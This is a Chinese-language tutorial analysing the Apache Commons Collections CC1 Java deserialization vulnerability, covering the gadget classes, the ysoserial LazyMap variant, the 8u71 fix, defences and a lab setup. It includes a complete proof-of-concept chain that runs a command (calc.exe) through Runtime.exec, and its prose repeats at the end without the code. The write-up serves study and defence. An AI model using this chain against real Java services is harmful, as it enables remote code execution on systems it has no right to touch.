CommonCollections1入门详解
字数 1786 2025-08-19 12:41:30

Apache Commons Collections反序列化漏洞(CC1)深入分析与利用

一、漏洞背景

Apache Commons Collections是一个广泛使用的Java集合框架扩展库,提供了许多强大的数据结构类型和集合工具类。该库中的InvokerTransformer类可以通过Java反射机制调用任意函数,导致了严重的反序列化漏洞。

漏洞影响

  • 影响版本:commons-collections 3.1及以下
  • Java版本限制:8u71之前(特别是8u66已验证可用)

二、核心漏洞原理

关键类分析

  1. InvokerTransformer

    • 实现了Transformer接口
    • 通过反射调用任意方法
    public Object transform(Object input) {
        Method method = input.getClass().getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }
    
  2. ChainedTransformer

    • 将多个Transformer串联执行
    public Object transform(Object object) {
        for (Transformer transformer : iTransformers) {
            object = transformer.transform(object);
        }
        return object;
    }
    
  3. TransformedMap

    • 对Map进行装饰,在插入/修改元素时执行转换
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }
    

漏洞触发流程

  1. 构造恶意Transformer链,通过反射执行命令
  2. 使用TransformedMap装饰普通Map
  3. 通过AnnotationInvocationHandlerreadObject触发转换

三、漏洞利用分析

基础POC构造

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc.exe"})
};

完整利用链

  1. 序列化过程

    • 创建ChainedTransformer包含恶意转换链
    • 使用TransformedMap.decorate装饰Map
    • 通过反射创建AnnotationInvocationHandler实例
    • 序列化该实例
  2. 反序列化过程

    • AnnotationInvocationHandler.readObject被调用
    • 遍历memberValues条目
    • 调用setValue触发TransformedMap的转换
    • 执行预设的命令

关键点说明

  1. 为什么使用AnnotationInvocationHandler

    • readObject方法会遍历Map并调用setValue
    • 是Java反序列化漏洞的常见入口点
  2. 为什么键必须是"value"

    • AnnotationInvocationHandler构造函数参数必须是Annotation子类
    • 该类必须含有至少一个方法(如Retentionvalue)
    • Map中必须有一个键名为该方法的元素
  3. Runtime的序列化问题

    • Runtime不可序列化,需通过反射获取实例
    • 使用Runtime.class作为起点,通过反射链获取Runtime.getRuntime()

四、高级利用技巧

ysoserial的利用方式

ysoserial采用了更复杂的利用链,使用LazyMap和动态代理:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

// 创建动态代理
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(), 
    new Class[]{Map.class}, 
    handler);

// 再次包装
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

优势

  1. 通过动态代理,任何Map方法调用都会触发InvocationHandler.invoke
  2. invoke中调用get方法触发LazyMap的转换

8u71之后的失效原因

Java 8u71修改了AnnotationInvocationHandler.readObject

  1. 不再直接使用反序列化的Map对象
  2. 新建LinkedHashMap并复制值
  3. 删除了memberValue.setValue调用

五、防御措施

  1. 升级Commons Collections

    • 使用3.2.2或更高版本
    • 新版本中InvokerTransformer等类不再实现Serializable
  2. Java安全配置

    • 升级Java到最新版本
    • 使用安全管理器限制反序列化
  3. 代码层面

    • 避免反序列化不可信数据
    • 使用白名单验证反序列化的类

六、实验环境搭建

所需组件

  1. JDK 8u66
  2. commons-collections 3.1
  3. IDE调试环境配置

关键配置

  1. 添加sun包源码到IDE
  2. 设置正确的编译版本
  3. 使用调试模式观察调用链

七、扩展思考

  1. 其他利用链

    • CC链有多个变种(CC2, CC3等)
    • 使用不同入口点和转换链
  2. 现代环境中的利用

    • 在受限环境下的利用技巧
    • 与其他漏洞的结合利用
  3. 漏洞挖掘方法论

    • 如何分析Java反序列化漏洞
    • 常见危险类的特征

附录:完整POC代码

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new String[] {"calc.exe"})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);
        
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        
        // 反序列化触发
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

参考资料

  1. phith0n Java安全漫谈系列
  2. Apache Commons Collections官方文档
  3. Oracle Java安全指南
Apache Commons Collections反序列化漏洞(CC1)深入分析与利用 一、漏洞背景 Apache Commons Collections是一个广泛使用的Java集合框架扩展库,提供了许多强大的数据结构类型和集合工具类。该库中的 InvokerTransformer 类可以通过Java反射机制调用任意函数,导致了严重的反序列化漏洞。 漏洞影响 影响版本:commons-collections 3.1及以下 Java版本限制:8u71之前(特别是8u66已验证可用) 二、核心漏洞原理 关键类分析 InvokerTransformer 实现了 Transformer 接口 通过反射调用任意方法 ChainedTransformer 将多个 Transformer 串联执行 TransformedMap 对Map进行装饰,在插入/修改元素时执行转换 漏洞触发流程 构造恶意 Transformer 链,通过反射执行命令 使用 TransformedMap 装饰普通Map 通过 AnnotationInvocationHandler 的 readObject 触发转换 三、漏洞利用分析 基础POC构造 完整利用链 序列化过程 : 创建 ChainedTransformer 包含恶意转换链 使用 TransformedMap.decorate 装饰Map 通过反射创建 AnnotationInvocationHandler 实例 序列化该实例 反序列化过程 : AnnotationInvocationHandler.readObject 被调用 遍历 memberValues 条目 调用 setValue 触发 TransformedMap 的转换 执行预设的命令 关键点说明 为什么使用 AnnotationInvocationHandler : 其 readObject 方法会遍历Map并调用 setValue 是Java反序列化漏洞的常见入口点 为什么键必须是"value" : AnnotationInvocationHandler 构造函数参数必须是Annotation子类 该类必须含有至少一个方法(如 Retention 的 value ) Map中必须有一个键名为该方法的元素 Runtime的序列化问题 : Runtime 不可序列化,需通过反射获取实例 使用 Runtime.class 作为起点,通过反射链获取 Runtime.getRuntime() 四、高级利用技巧 ysoserial的利用方式 ysoserial采用了更复杂的利用链,使用 LazyMap 和动态代理: 优势 : 通过动态代理,任何Map方法调用都会触发 InvocationHandler.invoke 在 invoke 中调用 get 方法触发 LazyMap 的转换 8u71之后的失效原因 Java 8u71修改了 AnnotationInvocationHandler.readObject : 不再直接使用反序列化的Map对象 新建 LinkedHashMap 并复制值 删除了 memberValue.setValue 调用 五、防御措施 升级Commons Collections : 使用3.2.2或更高版本 新版本中 InvokerTransformer 等类不再实现 Serializable Java安全配置 : 升级Java到最新版本 使用安全管理器限制反序列化 代码层面 : 避免反序列化不可信数据 使用白名单验证反序列化的类 六、实验环境搭建 所需组件 JDK 8u66 commons-collections 3.1 IDE调试环境配置 关键配置 添加sun包源码到IDE 设置正确的编译版本 使用调试模式观察调用链 七、扩展思考 其他利用链 : CC链有多个变种(CC2, CC3等) 使用不同入口点和转换链 现代环境中的利用 : 在受限环境下的利用技巧 与其他漏洞的结合利用 漏洞挖掘方法论 : 如何分析Java反序列化漏洞 常见危险类的特征 附录:完整POC代码 参考资料 phith0n Java安全漫谈系列 Apache Commons Collections官方文档 Oracle Java安全指南